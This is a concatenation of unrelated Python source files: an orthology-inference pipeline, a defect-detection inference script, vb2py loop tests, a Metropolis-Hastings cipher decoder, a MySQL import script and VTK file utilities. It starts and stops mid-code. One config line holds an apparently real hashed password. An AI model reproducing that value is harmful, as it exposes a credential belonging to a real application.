A2 -> Ortholog -> B2 if protein_1 in protein2inparalogs: inparalogs = protein2inparalogs[protein_1].split('\t') for j in inparalogs: inparalog_protein2 = j + '\t' + protein_2 protein2_inparalog = protein_2 + '\t' + j if inparalog_protein2 in is_ortholog or protein2_inparalog in is_ortholog: candidate_coortholog[protein1_protein2] = ev break if protein1_protein2 not in candidate_coortholog and protein_2 in protein2inparalogs: inparalogs = protein2inparalogs[protein_2].split('\t') for j in inparalogs: inparalog_protein1 = j + '\t' + protein_1 protein1_inparalog = protein_1 + '\t' + j if inparalog_protein1 in is_ortholog or protein1_inparalog in is_ortholog: candidate_coortholog[protein1_protein2] = ev break # Case 2: A1 -> In-paralog -> A2 -> Ortholog -> B2 -> In-paralog -> B1 if protein_1 in protein2inparalogs and protein_2 in protein2inparalogs: inparalogs_1 = protein2inparalogs[protein_1].split('\t') inparalogs_2 = protein2inparalogs[protein_2].split('\t') for j in inparalogs_1: for k in inparalogs_2: inparalog1_inparalog2 = j + '\t' + k inparalog2_inparalog1 = k + '\t' + j if inparalog1_inparalog2 in is_ortholog or inparalog2_inparalog1 in is_ortholog: candidate_coortholog[protein1_protein2] = ev break else: if protein1_protein2 not in is_ortholog and protein2_protein1 not in is_ortholog: avg_ev = avg_evalue(ev, candidate_coortholog[protein2_protein1]) out.write(protein_1 + '\t' + protein_2 + '\t' + str(avg_ev) + '\t' + 'Co-ortholog' + '\n') if i%(int(len(lines)/10)) == 0: sys.stdout.write('...' + str((i/(int(len(lines)/10))*10)) + '%') sys.stdout.flush() sys.stdout.write('\n') out.close() def print_manual(): print('') print('Usage:') print('python kinortho.py [-i input] [-f full_seq] [-d domain_seq] [-o output] [-E e_value]') print('\t\t[-t thread] [-I inflat] [-e min_e] [-s start_step] [-S stop_step]') print('') print('Options:') print('-i: the folder of input proteomes (required)') print('-f: the fasta file of full-length query sequences') print('-d: the fasta file of domain-based query sequences') print('-o: output folder (defalut: ./kinortho_out/)') print('-E: E-value threshold (default: 1e-5)') print('-t: number of thread (default: 1)') print('-I: inflation value (default: 1.5)') print('-e: minimum E-value (default: 1e-200)') print('-s: start step (default: 0; value: {0,1,2,3,4,5,6})') print('-S: stop step (default: 6; value: {0,1,2,3,4,5,6})') print('') print('Steps:') print('0: Initiation') print('1: Homology Search') print('2: Building BLAST DB') print('3: All-vs-all Homology Search') print('4: Orthology Inference') print('5: Cluster Analysis') print('6: Combining Results') print('') def rebuild_blast_db(proteomes_seq, blast_result, out_file, is_full_pipeline): # Get BLAST result sys.stdout.write('\tGetting BLAST result') homologs_id = {} homologs_id_domain_pos = {} file = open(blast_result, 'r') lines = file.readlines() file.close() for i in range(0, len(lines)): toks = lines[i].split('\t') if is_full_pipeline: homologs_id[toks[1]] = '' else: if toks[1] not in homologs_id_domain_pos: homologs_id_domain_pos[toks[1]] = toks[2] + '-' + toks[3] else: homologs_id_domain_pos[toks[1]] += ';' + toks[2] + '-' + toks[3] if i%(int(len(lines)/10)) == 0: sys.stdout.write('...' + str((i/(int(len(lines)/10))*10)) + '%') sys.stdout.flush() sys.stdout.write('\n') # Generate homolog sequences sys.stdout.write('\tGenerating homolog sequences') out = open(out_file, 'w') file = open(proteomes_seq, 'r') lines = file.readlines() file.close() is_homolog = 0 now_title = '' now_seq = '' if is_full_pipeline: for i in range(0, len(lines)): if lines[i][0:1] == '>': toks = lines[i][1:].split(' ') seq_id = toks[0] if seq_id in homologs_id: is_homolog = 1 out.write(lines[i]) else: is_homolog = 0 elif is_homolog: out.write(lines[i]) if i%(int(len(lines)/10)) == 0: sys.stdout.write('...' + str((i/(int(len(lines)/10))*10)) + '%') sys.stdout.flush() sys.stdout.write('\n') else: for i in range(0, len(lines)): if lines[i][0:1] == '>': toks = lines[i][1:].split(' ') seq_id = toks[0] if seq_id in homologs_id_domain_pos: is_homolog = 1 now_title = lines[i][1:] now_seq = '' else: is_homolog = 0 now_title = '' now_seq = '' elif is_homolog: now_seq += lines[i].rstrip() if i == len(lines)-1 or lines[i+1][0:1] == '>': # Determine domain boundary in_domain_pos = {} toks = now_title.split(' ', 1) seq_id = toks[0] domain_pos = homologs_id_domain_pos[seq_id].split(';') for j in domain_pos: start, end = j.split('-') for k in range(int(start), int(end)+1): in_domain_pos[k] = '' # Print domain sequences domain_index = 1 pos = sorted(in_domain_pos) now_start = pos[0] now_end = pos[0] for j in range(0, len(pos)): now_end = pos[j] title = '>' + seq_id title += '|dom' + str(domain_index) + '_' + str(now_start) + '_' + str(now_end) title += ' ' + toks[1] if j != len(pos)-1: if pos[j+1]-pos[j] > 1: out.write(title) out.write(now_seq[now_start-1:now_end] + '\n') domain_index += 1 now_start = pos[j+1] now_end = pos[j+1] else: out.write(title) out.write(now_seq[now_start-1:now_end] + '\n') if i%(int(len(lines)/10)) == 0: sys.stdout.write('...' + str((i/(int(len(lines)/10))*10)) + '%') sys.stdout.flush() sys.stdout.write('\n') out.close() # Build BLAST DB build_blast_db(out_file, out_file[:out_file.rindex('.')]) ############################## # Arguments ############################## argv = sys.argv args = {'-i': '', '-f': '', '-d': '', '-o': './kinortho_out/', '-E': '1e-5', '-t': '1', '-I': '1.5', '-e': '1e-200', '-s': 0, '-S': 6} if argv[1] == '-h' or argv[1] == '-help': print_manual() sys.exit() for i in range(1, len(argv), 2): key = argv[i] if key in args: if i+1 < len(argv): args[key] = argv[i+1] else: print('Error: no value for the option "' + key + '"') print_manual() sys.exit() else: print('Error: there is no option "' + key + '"') print_manual() sys.exit() if args['-i'] == '': print('Error: input is required') print_manual() sys.exit() if int(args['-s']) not in [0, 1, 2, 3, 4, 5, 6] or int(args['-S']) not in [0, 1, 2, 3, 4, 5, 6]: print('Error: start/Stop step must be {0,1,2,3,4,5,6}') print_manual() sys.exit() try: proteomes, full_seq, domain_seq, output_folder, e_value, thread, inflat, min_e, start_step, stop_step = list(map( args.get, ['-i', '-f', '-d', '-o', '-E', '-t', '-I', '-e', '-s', '-S'])) except: print_manual() sys.exit() proteomes = os.path.abspath(proteomes) + '/' output_folder = os.path.abspath(output_folder) + '/' if full_seq != '': full_seq = os.path.abspath(full_seq) if domain_seq != '': domain_seq = os.path.abspath(domain_seq) ############################## # Step 0: Initiation ############################## # Create a protein-species mapping (cannot skip it) protein_to_species = {} proteome_names = [] input_listdir = os.listdir(proteomes) input_listdir.sort() for file_name in input_listdir: if file_name[-6:] == '.fasta': proteome_names.append(file_name) print('Step 0: Initiation') for i in range(0, len(proteome_names)): print('\tReading proteomes (' + str((i+1)) + '/' + str(len(proteome_names)) + '): ' + proteome_names[i]) sys.stdout.flush() file = open(proteomes + proteome_names[i], 'r') lines = file.readlines() file.close() for line in lines: if line[0:1] == '>': toks = line[1:].split(' ') seq_id = toks[0] protein_to_species[seq_id] = proteome_names[i] step = int(start_step) if step == 0: # Create output folder if not os.path.exists(output_folder): os.mkdir(output_folder) # Combine proteomes out = open(output_folder + 'proteomes.fasta', 'w') for i in proteome_names: file = open(proteomes + i, 'r') out.write(file.read()) file.close() out.close() # Build a searchable database build_blast_db(output_folder + 'proteomes.fasta', output_folder + 'proteomes') if step == int(stop_step): sys.exit() step += 1 ############################## # Step 1: Homology Search ############################## if step == 1: # Full-length pipeline if full_seq != '': seq_file = full_seq db_name = output_folder + 'proteomes' out_file = output_folder + 'homologs_full.blast' print('Step 1: Homology search\n\tDB: ' + db_name + '\n\tSequence: ' + seq_file) sys.stdout.flush() homology_search(seq_file, db_name, out_file) # Domain-based pipeline if domain_seq != '': seq_file = domain_seq db_name = output_folder + 'proteomes' out_file = output_folder + 'homologs_domain.blast' print('Step 1: Homology search\n\tDB: ' + db_name + '\n\tSequence: ' + seq_file) sys.stdout.flush() homology_search(seq_file, db_name, out_file) if step == int(stop_step): sys.exit() step += 1 ############################## # Step 2: Build BLAST DB ############################## if step == 2: # Full-length pipeline if full_seq != '': proteomes_seq = output_folder + 'proteomes.fasta' blast_result = output_folder + 'homologs_full.blast' out_file = output_folder + 'homologs_full.fasta' is_full_pipeline = 1 print('Step 2: Building BLAST DB') rebuild_blast_db(proteomes_seq, blast_result, out_file, is_full_pipeline) # Domain-based pipeline if domain_seq != '': proteomes_seq = output_folder + 'proteomes.fasta' blast_result = output_folder + 'homologs_domain.blast' out_file = output_folder + 'homologs_domain.fasta' is_full_pipeline = 0 print('Step 2: Building BLAST DB') rebuild_blast_db(proteomes_seq, blast_result, out_file, is_full_pipeline) if step == int(stop_step): sys.exit() step += 1 ############################## # Step 3: All-vs-all ############################## if step == 3: # No-query if full_seq == '' and domain_seq == '': seq_file = output_folder + 'proteomes.fasta' db_name = output_folder + 'proteomes' out_file = output_folder + 'all-vs-all.blast' print('Step 3: All-vs-all Homology Search\n\tDB: ' + db_name + '\n\tSequence: ' + seq_file) sys.stdout.flush() homology_search(seq_file, db_name, out_file) # Full-length pipeline if full_seq != '': seq_file = output_folder + 'homologs_full.fasta' db_name = output_folder + 'homologs_full' out_file = output_folder + 'all-vs-all_full.blast' print('Step 3: All-vs-all Homology Search\n\tDB: ' + db_name + '\n\tSequence: ' + seq_file) sys.stdout.flush() homology_search(seq_file, db_name, out_file) # Domain-based pipeline if domain_seq != '': seq_file = output_folder + 'homologs_domain.fasta' db_name = output_folder + 'homologs_domain' out_file = output_folder + 'all-vs-all_domain.blast' print('Step 3: All-vs-all Homology Search\n\tDB: ' + db_name + '\n\tSequence: ' + seq_file) sys.stdout.flush() homology_search(seq_file, db_name, out_file) if step == int(stop_step): sys.exit() step += 1 ############################## # Step 4: Orthology Inference ############################## if step == 4: # No-query if full_seq == '' and domain_seq == '': allvsall_file = output_folder + 'all-vs-all.blast' out_file = output_folder + 'orthology_inference.txt' is_full_pipeline = 1 print('Step 4: Orthology Inference') orthology_inference(allvsall_file, out_file, is_full_pipeline) # Full-length pipeline if full_seq != '': allvsall_file = output_folder + 'all-vs-all_full.blast' out_file = output_folder + 'orthology_inference_full.txt' is_full_pipeline = 1 print('Step 4: Orthology Inference') orthology_inference(allvsall_file, out_file, is_full_pipeline) # Domain-based pipeline if domain_seq != '': allvsall_file = output_folder + 'all-vs-all_domain.blast' out_file = output_folder + 'orthology_inference_domain.txt' is_full_pipeline = 0 print('Step 4: Orthology Inference') orthology_inference(allvsall_file, out_file, is_full_pipeline) if step == int(stop_step): sys.exit() step += 1 ############################## # Step 5: Cluster Analysis ############################## if step == 5: # No-query if full_seq == '' and domain_seq == '': ortholog_file = output_folder + 'orthology_inference.txt' out_file = output_folder + 'graph.abc' is_full_pipeline = 1 print('Step 5: Cluster Analysis') build_graph(ortholog_file, out_file, is_full_pipeline) graph_file = out_file out_name = output_folder + 'clustering' clustering(graph_file, out_name) homolog_file = '' cluster_name = out_name out_file = output_folder + 'Results_No-query.txt' filtering(homolog_file, ortholog_file, graph_file, cluster_name, out_file, is_full_pipeline) # Full-length pipeline if full_seq != '': ortholog_file = output_folder + 'orthology_inference_full.txt' out_file = output_folder + 'graph_full.abc' is_full_pipeline = 1 print('Step 5: Cluster Analysis') build_graph(ortholog_file, out_file, is_full_pipeline) graph_file = out_file out_name = output_folder + 'clustering_full' clustering(graph_file, out_name) homolog_file = output_folder + 'homologs_full.blast' cluster_name = out_name out_file = output_folder + 'Results_Full-length.txt' filtering(homolog_file, ortholog_file, graph_file, cluster_name, out_file, is_full_pipeline) # Domain-based pipeline if domain_seq != '': ortholog_file = output_folder + 'orthology_inference_domain.txt' out_file = output_folder + 'graph_domain.abc' is_full_pipeline = 0 print('Step 5: Cluster Analysis') build_graph(ortholog_file, out_file, is_full_pipeline) graph_file = out_file out_name = output_folder + 'clustering_domain' clustering(graph_file, out_name) homolog_file = output_folder + 'homologs_domain.blast' cluster_name = out_name out_file = output_folder + 'Results_Domain-based.txt' filtering(homolog_file, ortholog_file, graph_file, cluster_name, out_file, is_full_pipeline) if step == int(stop_step): sys.exit() step += 1 ############################## # Step 6: Combine Results ############################## if step == 6: if full_seq != '' and domain_seq != '': full_result = output_folder + 'Results_Full-length.txt' domain_result = output_folder + 'Results_Domain-based.txt' out_file = output_folder + 'Results_Overlapping.txt' print('Step 6: Combining Results') combin_result(full_result, domain_result, out_file) guilhermeerosa/Python #Calcula a Hipotenusa de um triangulo cateto_oposto = float(input('Digite o valor do Cateto Oposto: ')) cateto_adjacente = float(input('Digite o valor do Cateto Adjacente: ')) h = ((cateto_adjacente ** 2) + (cateto_oposto ** 2)) ** (1/2) print('O valor da hipotenusa de um triangulo com Catetos {} e {} é {:.2f}!'.format(cateto_oposto, cateto_adjacente, h)) li-phone/DefectNet # %% from mmdet.apis import init_detector, inference_detector, show_result_pyplot import mmcv import os import json import argparse import os import glob from tqdm import tqdm import time from pandas.io.json import json_normalize import pandas as pd from mmdet.core import coco_eval from pycocotools.coco import COCO import numpy as np from sklearn.metrics import classification_report from utilities.draw_util import draw_coco def save_json(results, submit_filename): with open(submit_filename, 'w') as fp: json.dump(results, fp, indent=4, separators=(',', ': ')) def infer_by_path(model, image_paths): results = dict(images=[], annotations=[]) # name2label = {1: 1, 9: 2, 5: 3, 3: 4, 4: 5, 0: 6, 2: 7, 8: 8, 6: 9, 10: 10, 7: 11} # label2name = {v: k for k, v in name2label.items()} fps_times = [] for img_id, path in tqdm(enumerate(image_paths)): results['images'].append(dict(file_name=os.path.basename(path), id=img_id)) start_t = time.time() result = inference_detector(model, path) fps_times.append(time.time() - start_t) for idx, pred in enumerate(result): # category_id = label2name[idx+1] category_id = idx + 1 for x in pred: bbox_pred = { "image_id": img_id, "category_id": category_id, "bbox": [float(x[0]), float(x[1]), float(x[2] - x[0]), float(x[3] - x[1])], "score": float(x[4]), } results['annotations'].append(bbox_pred) return results, fps_times def infer_by_ann(model, img_dir, anns): results = dict(images=[], annotations=[]) # name2label = {1: 1, 9: 2, 5: 3, 3: 4, 4: 5, 0: 6, 2: 7, 8: 8, 6: 9, 10: 10, 7: 11} # label2name = {v: k for k, v in name2label.items()} fps_times = [] for i, ann in tqdm(enumerate(anns.dataset['images'])): img_id = ann['id'] path = os.path.join(img_dir, ann['file_name']) results['images'].append(dict(file_name=os.path.basename(path), id=img_id)) start_t = time.time() result = inference_detector(model, path) fps_times.append(time.time() - start_t) if isinstance(result, list): for idx, pred in enumerate(result): # category_id = label2name[idx+1] category_id = idx for x in pred: bbox_pred = { "image_id": img_id, "category_id": category_id, "bbox": [float(x[0]), float(x[1]), float(x[2] - x[0]), float(x[3] - x[1])], "score": float(x[4]), } results['annotations'].append(bbox_pred) elif isinstance(result, int): pass return results, fps_times def have_defect(anns, threshold=0.05): annotations = json_normalize(anns['annotations']) det_results = [] for image in anns['images']: defect_num = 0 if annotations.shape[0] > 0: ann = annotations[annotations['image_id'] == image['id']] for j in range(ann.shape[0]): a = ann.iloc[j] if 'score' in a: if a['score'] > threshold and a['category_id'] > 0: defect_num += 1 else: if a['category_id'] > 0: defect_num += 1 if 0 == defect_num: det_results.append(0) else: det_results.append(1) assert len(det_results) == len(anns['images']) return det_results def parse_args(): parser = argparse.ArgumentParser(description='Train a detector') parser.add_argument( '--config', default='../config_alcohol/cascade_rcnn_r50_fpn_1x/DefectNet_no_bg.py', help='train config file path') parser.add_argument( '--resume_from', default='../work_dirs/alcohol/cascade_rcnn_r50_fpn_1x/DefectNet_have_bg/epoch_12.pth', help='train config file path') parser.add_argument( '--ann_file', default='/home/liphone/undone-work/data/detection/alcohol/annotations/instance_test_alcohol.json') parser.add_argument( '--img_dir', default='/home/liphone/undone-work/data/detection/alcohol/trainval') parser.add_argument( '--work_dir', default='../work_dirs/alcohol/cascade_rcnn_r50_fpn_1x/DefectNet_have_bg/', help='train config file path') args = parser.parse_args() return args def draw(img_dir, work_dir, ann_file): defect_name2label = { 0: '背景', 1: '瓶盖破损', 2: '瓶盖变形', 3: '瓶盖坏边', 4: '瓶盖打旋', 5: '瓶盖断点', 6: '标贴歪斜', 7: '标贴起皱', 8: '标贴气泡', 9: '喷码正常', 10: '喷码异常' } label_list = [v for k, v in defect_name2label.items()] draw_coco( ann_file, img_dir, os.path.join(work_dir, '.infer_tmp'), label_list, ) def infer_main(config, resume_from, ann_file, img_dir, work_dir): model_name = os.path.basename(config).split('.')[0] last_epoch = os.path.basename(resume_from).split('.')[0] model = init_detector(config, resume_from, device='cuda:0') # get test ann file anns = COCO(ann_file) anns.dataset['images'] = anns.dataset['images'] results, fps = infer_by_ann(model, img_dir, anns) # save the defect images results filename = '{}_{}_defect_image_cascade_rcnn_r50_fpn_1x_.json'.format(model_name, last_epoch) submit_filename = os.path.join(work_dir, filename) save_json(results['annotations'], submit_filename) print('infer all test images ok!') # coco eval for defect images defect_rpt = coco_eval(submit_filename, ['bbox'], ann_file, classwise=True) mAP = defect_rpt[0][0] + '\n' + defect_rpt[0][1] y_pred = have_defect(results) y_true = have_defect(anns.dataset) acc = classification_report(y_true, y_pred, output_dict=False) defect_fps = [fps[i] for i, x in enumerate(y_true) if x != 0] normal_fps = [fps[i] for i, x in enumerate(y_true) if x == 0] assert len(defect_fps) + len(normal_fps) == len(fps) return dict(acc=acc, mAP=mAP, fps=np.mean(fps), fps_defect=np.mean(defect_fps), fps_no_defect=np.mean(normal_fps)) def main(): args = parse_args() rpt = infer_main(args.config, args.resume_from, args.ann_file, args.img_dir, args.work_dir) print(rpt) if __name__ == '__main__': main() mvz/vb2py1-10 from testframework import * # << For tests >> (1 of 4) # Simple test - note we are not interested in the value of the loop variable at the end of the loop # hence the _var name tests.append((""" j = 0 For _var = 1 To 10 j = j + _var Next _var """, {"j" : 55})) # Simple test with step tests.append((""" j = 0 For _var = 1 To 10 Step 2 j = j + _var Next _var """, {"j" : 25})) # Simple test with reverse step tests.append((""" j = 0 For _var = 10 To 1 Step -1 j = j + _var Next _var """, {"j" : 55})) # Empty loop tests.append((""" j = 0 For _var = 10 To 1 j = j + _var Next _var """, {"j" : 0})) # Breaking out of the loop tests.append((""" j = 0 For _var = 1 To 10 j = j + _var Exit For Next _var """, {"j" : 1})) # Bizarre dotted name tests.append((""" Dim _me As Object j = 0 For _me.you = 1 To 10 j = j + _me.you Next _me.you """, {"j" : 55})) # Name with type suffix tests.append((""" j = 0 For _int% = 1 To 10 j = j + _int% Next _int% """, {"j" : 55})) # Nested loop tests.append((""" j = 0 k = 0 For _var = 1 To 10 j = j + _var For _other = 1 To 10 k = k + 1 Next _other Next _var """, {"j" : 55, "k" : 100})) # Nested loop - break from inner tests.append((""" j = 0 k = 0 For _var = 1 To 10 j = j + _var For _other = 1 To 10 k = k + 1 Exit For Next _other Next _var """, {"j" : 55, "k" : 10})) # Nested loop - break from outer tests.append((""" j = 0 k = 0 For _var = 1 To 10 j = j + _var For _other = 1 To 10 k = k + 1 Next _other Exit For Next _var """, {"j" : 1, "k" : 10})) # << For tests >> (3 of 4) # Simple for each with collection tests.append((""" Dim _c As New Collection _c.Add 10 _c.Add 20 _c.Add 30 t = 0 For Each _v In _c t = t + _v Next _v """, {"t" : 60})) # Nested for each with collection tests.append((""" Dim _c As New Collection _c.Add 10 _c.Add 20 _c.Add 30 Dim _d As New Collection _d.Add 1 _d.Add 2 _d.Add 3 t = 0 For Each _v In _c t = t + _v For Each _x In _d t = t + _x Next _x Next _v """, {"t" : 78})) # Simple for each with variant tests.append((""" Dim _c(10) For _i = 1 To 10 _c(_i) = _i Next _i t = 0 For Each _v In _c t = t + _v Next _v """, {"t" : 55})) # << For tests >> (4 of 4) # Simple test - note we are not interested in the value of the loop variable at the end of the loop # hence the _var name tests.append((""" j = 0 For _var = 0.1 To 1.0 j = j + _var Next _var """, {"j" : 0.1})) # Simple test with step tests.append((""" j = 0 For _var = .1 To 1.0 Step .2 j = j + _var Next _var """, {"j" : 2.5})) # Simple test with reverse step tests.append((""" j = 0 For _var = 1.0 To .1 Step -.1 j = j + _var Next _var j = int(j*10) """, {"j" : 55})) # Empty loop tests.append((""" j = 0 For _var = 1.0 To .1 j = j + _var Next _var """, {"j" : 0})) # Breaking out of the loop tests.append((""" j = 0 For _var = .1 To 1.0 j = j + _var Exit For Next _var """, {"j" : .1})) # -- end -- << For tests >> import vb2py.vbparser vb2py.vbparser.log.setLevel(0) # Don't print all logging stuff TestClass = addTestsTo(BasicTest, tests) if __name__ == "__main__": main() """ Author: Date: 1/4/2017 File: mcmc.py """ from __future__ import division from util import Distribution import string import math import random import sys import matplotlib.pyplot as plt def build_letter_transition_dist(file): """ Builds a transition matrix (dict of dicts) which measures the probability of transitioning from one letter to another letter, based on the frequencies from the sample file. i.e. "Spam and Eggs" measures frequency of s->p, p->a, a->m, m->" ", " "->a, a->n etc... Inputs ------ file : a string which is the path to a file containing the reference document Returns ------- a dictionary of Distribution objects (inherited from dict - see util) where each key is a letter, and each key of each Distribution object is also a letter; the value is the probablity of transitioning between letters, i.e. d[first_letter][second_letter] = Probability of first_letter -> second_letter """ charset = string.lowercase+" " dist = {key:Distribution() for key in charset} doc = clean_document(open(file).read()) # laplace smoothing - setting the prior to a uniform distribution. # avoids probabilites of 0 in the transition distirbution. for a in charset: for b in charset: dist[a][b] += 1 for i in range(1, len(doc)): first_letter = doc[i-1] if doc[i-1].isalpha() else " " second_letter = doc[i] if doc[i].isalpha() else " " dist[first_letter][second_letter] +=1 for k in dist: dist[k].renormalize() return dist def plot_freq(dist): """ Plots the transition distribution created in build_letter_transition_dist -- for utility and visualization """ data = [ [dist[i][j] for j in dist[i]] for i in dist] charset = [i for i in dist] fig = plt.figure() ax = fig.add_subplot(111) ax.set_xlim((0, len(charset)-1)) ax.set_ylim((0, len(charset)-1)) ax.set_xticks([i for i in range(len(charset))]) ax.set_xticklabels(charset) ax.set_yticks([i for i in range(len(charset))]) ax.set_yticklabels(charset) plt.grid(True, color='white') plt.imshow(data) plt.colorbar(orientation='vertical') plt.show() def clean_document(document): """ Removes punctuation from a document, and converts everything to lowercase """ return document.translate(None, string.punctuation).lower() def compute_log_likelihood(document, expected_letter_distribution): """ Computes the log-likelihood of a document Inputs ------ document : a string, of which, we compute the likelihood expected_letter_distribution : a dictionary of Distribution objects (inherited from dict - see util) where each key is a letter, and each key of each Distribution object is also a letter; the value is the probablity of transitioning between letters, i.e. d[first_letter][second_letter] = Probability of first_letter -> second_letter Returns ------- a double which is the log-likelihood of the document """ s = 0 for i in range(1, len(document)): first_letter = document[i-1].lower() if document[i-1].isalpha() else " " second_letter = document[i].lower() if document[i].isalpha() else " " s += math.log(expected_letter_distribution[first_letter][second_letter]) return s def decrypt_document(encrypted_document, cipher): """ Decrypts a document from a cipher Inputs ------ encrypted_document : a string, which we want to transform with a cipher cipher : a string, in which order matters, that is mapped to from the alphabet in the encrypted document i.e. abcdefg.. -> udhjenk... Returns ------- a string in which each original letter, is replaced with its corresponding letter in the cipher """ mapping = create_mapping_from_cipher(cipher) document = "" for c in encrypted_document: if (c.isalpha() and (c.lower() in mapping)): document += mapping[c.lower()] else: document += " " return document def create_mapping_from_cipher(cipher): """ Creates the mapping between the alphabet string and the cipher string Inputs ------ cipher : a string, in which order matters, that is mapped to from the alphabet in the encrypted document i.e. abcdefg.. -> udhjenk... Returns ------- a dictionary in which each key is a letter of the alphabet, and each value is the corresponding letter in the cipher """ charset = list(string.lowercase) return {charset.pop(0):elem for elem in cipher} def propose_cipher(current_cipher): """ Proposes a new cipher by randomly swapping the place of two letters in the current cipher Inputs ------ current_cipher : a string, in which order matters, that is mapped to from the alphabet in the encrypted document i.e. abcdefg.. -> udhjenk... Returns ------- a string, which is the new proposed cipher """ first_letter = random.choice(list(current_cipher)) second_letter = random.choice(list(current_cipher)) while(first_letter == second_letter): second_letter = random.choice(list(current_cipher)) new_cipher = "" for c in current_cipher: if (c == first_letter): new_cipher += second_letter elif (c == second_letter): new_cipher += first_letter else: new_cipher+=c return new_cipher def generate_random_cipher(): """ Generates a random cipher string Returns ------- a string, containing all the letters of the alphabet, in a randomly permuated order """ current_cipher = list(string.lowercase) random.shuffle(current_cipher) return "".join(current_cipher) def acceptance_criteria(log_proposal, log_current): """ Accepts the sample according to the Metropolis-Hastings algorithm """ return (random.random() < math.exp(log_proposal - log_current)) def run_metropolis_hastings(encrypted_document, expected_letter_distribution, max_acceptance_iter=4000): """ Runs the Metropolis-Hastings algorithm to decode the document. The iteration number represents the number of accepted samples from the distribution, and depends heavily on the length of the document to be decoded: A longer document usually implies smaller terminal iteration number. If it doesn't decode the document the first time, it is often useful to run multiple times to yield the best cipher. """ encrypted_document = clean_document(encrypted_document) current_cipher = generate_random_cipher() best_document = ("", float("-inf")) number_accepted = 0 i = 0 while(number_accepted < max_acceptance_iter): i+=1 proposal_cipher = propose_cipher(current_cipher) proposal_document = decrypt_document(encrypted_document, proposal_cipher) current_document = decrypt_document(encrypted_document, current_cipher) log_likelihood_proposal = compute_log_likelihood(proposal_document, expected_letter_distribution) log_likelihood_current = compute_log_likelihood(current_document, expected_letter_distribution) if (log_likelihood_proposal > best_document[1]): best_document = (proposal_document, log_likelihood_proposal) if(acceptance_criteria(log_likelihood_proposal, log_likelihood_current)): number_accepted += 1 current_cipher = proposal_cipher print number_accepted, i print best_document return best_document def encrypt_document(document): """ Useful method to encrypt a document using a random cipher """ cipher = generate_random_cipher() return decrypt_document(document, cipher) if __name__ == '__main__': if len(sys.argv) != 4: print "Usage: python mcmc.py " print "Example: python mcmc.py decode_this.txt 2000 war_and_peace.txt" sys.exit(1) file_to_decode = open(sys.argv[1]).read() expected_letter_distribution = build_letter_transition_dist(sys.argv[3]) iterations = int(sys.argv[2]) print run_metropolis_hastings(file_to_decode, expected_letter_distribution, iterations) Keitokuch/article_data import csv from pymysql.err import * import pymysql from dbconfig import db_config # csv fields: 0 = article_id; 1 = title; 2 = authors; 5 = entry_id; 9 = link; 10 = abstract; # 11 = date; 12 = journal_name; 13 = journal_id; connection = pymysql.connect(**db_config) with open("0.csv") as csvfile: reader = csv.reader(csvfile, delimiter=',', quotechar='"') with connection.cursor() as cursor: query = """ INSERT INTO article_entries VALUE (%(eid)s, %(aid)s, %(link)s, %(jid)s) ; """ i = 0 for row in reader: aid = int(row[0]) print(aid) if aid > 800000 and aid != 1778082: break try: ret = cursor.execute(query, {'eid': row[5], 'aid': row[0], 'link': row[9], 'jid': row[13] } ) i += 1 except MySQLError as err: print(err) print(row[0]) print(i) connection.commit() connection.close() from aiogram.dispatcher.filters.state import State, StatesGroup class GetPrice(StatesGroup): ask_coin = State() class AddAlert(StatesGroup): ask_coin = State() ask_pct_change = State() class RemoveAlert(StatesGroup): ask_alert_number = State() rchen33/Webapplications0 password="(1,20,sha512)$b4fdaef446b7cc45$f9feb64973b31398b13a3e429d096c85f10e5f5d" import os import vtkAll as vtk from shallowCopy import shallowCopy import shelve import os.path def readPolyData(filename, computeNormals=False): ext = os.path.splitext(filename)[1].lower() readers = { '.vtp' : vtk.vtkXMLPolyDataReader, '.vtk' : vtk.vtkPolyDataReader, '.ply' : vtk.vtkPLYReader, '.obj' : vtk.vtkOBJReader, '.stl' : vtk.vtkSTLReader, } try: readers['.pcd'] = vtk.vtkPCDReader except AttributeError: pass if ext not in readers: raise Exception('Unknown file extension in readPolyData: %s' % filename) reader = readers[ext]() reader.SetFileName(filename) reader.Update() polyData = shallowCopy(reader.GetOutput()) if computeNormals: return _computeNormals(polyData) else: return polyData def readMultiBlock(filename): '''Reads a .vtm file and returns a list of vtkPolyData objects''' reader = vtk.vtkXMLMultiBlockDataReader() reader.SetFileName(filename) reader.Update() polyDataList = [] mb = reader.GetOutput() for i in xrange(mb.GetNumberOfBlocks()): polyData = vtk.vtkPolyData.SafeDownCast(mb.GetBlock(i)) if polyData and polyData.GetNumberOfPoints(): polyDataList.append(shallowCopy(polyData)) return polyDataList def readImage(filename): ext = os.path.splitext(filename)[1].lower() readers = { '.png' : vtk.vtkPNGReader, '.jpg' : vtk.vtkJPEGReader, '.vti' : vtk.vtkXMLImageDataReader, } if ext not in readers: raise Exception('Unknown file extension in readImage: %s' % filename) reader = readers[ext]() reader.SetFileName(filename) reader.Update() image = shallowCopy(reader.GetOutput()) return image def readVrml(filename): ''' Returns list of vtkPolyData meshes and a list of colors as 3-tuples ''' l = vtk.vtkVRMLImporter() l.SetFileName(filename) l.Read() w = l.GetRenderWindow() ren = w.GetRenderers().GetItemAsObject(0) actors = ren.GetActors() actors = [actors.GetItemAsObject(i) for i in xrange(actors.GetNumberOfItems())] meshes = [a.GetMapper().GetInput() for a in actors] colors = [ac.GetProperty().GetColor() for ac in actors] return meshes, colors def writePolyData(polyData, filename): ext = os.path.splitext(filename)[1].lower() writers = { '.vtp' : vtk.vtkXMLPolyDataWriter, '.vtk' : vtk.vtkPolyDataWriter, '.ply' : vtk.vtkPLYWriter, '.stl' : vtk.vtkSTLWriter, } if ext not in writers: raise Exception('Unknown file extension in writePolyData: %s' % filename) writer = writers[ext]() if ext in ('.ply', '.stl'): polyData = _triangulate(polyData) writer.SetFileTypeToASCII() if ext in ('.ply'): if polyData.GetPointData().GetArray('RGB255'): writer.SetArrayName('RGB255') writer.SetFileName(filename) writer.SetInput(polyData) writer.Update() def writeImage(image, filename): ext = os.path.splitext(filename)[1].lower() writers = { '.png' : vtk.vtkPNGWriter, '.jpg' : vtk.vtkJPEGWriter, '.pnm' : vtk.vtkPNMWriter, '.tiff' : vtk.vtkTIFFWriter, '.bmp' : vtk.vtkBMPWriter, '.vti' : vtk.vtkXMLImageDataWriter, } if ext not in writers: raise Exception('Unknown file extension in writePolyData: %s' % filename) writer = writers[ext]() writer.SetFileName(filename) writer.SetInput(image) writer.Write() def _computeNormals(polyData): normals = vtk.vtkPolyDataNormals() normals.SetFeatureAngle(45) normals.SetInput(polyData) normals.Update() return shallowCopy(normals.GetOutput()) def _triangulate(polyData): normals = vtk.vtkTriangleFilter() normals.SetInput(polyData) normals.Update() return shallowCopy(normals.GetOutput()) def 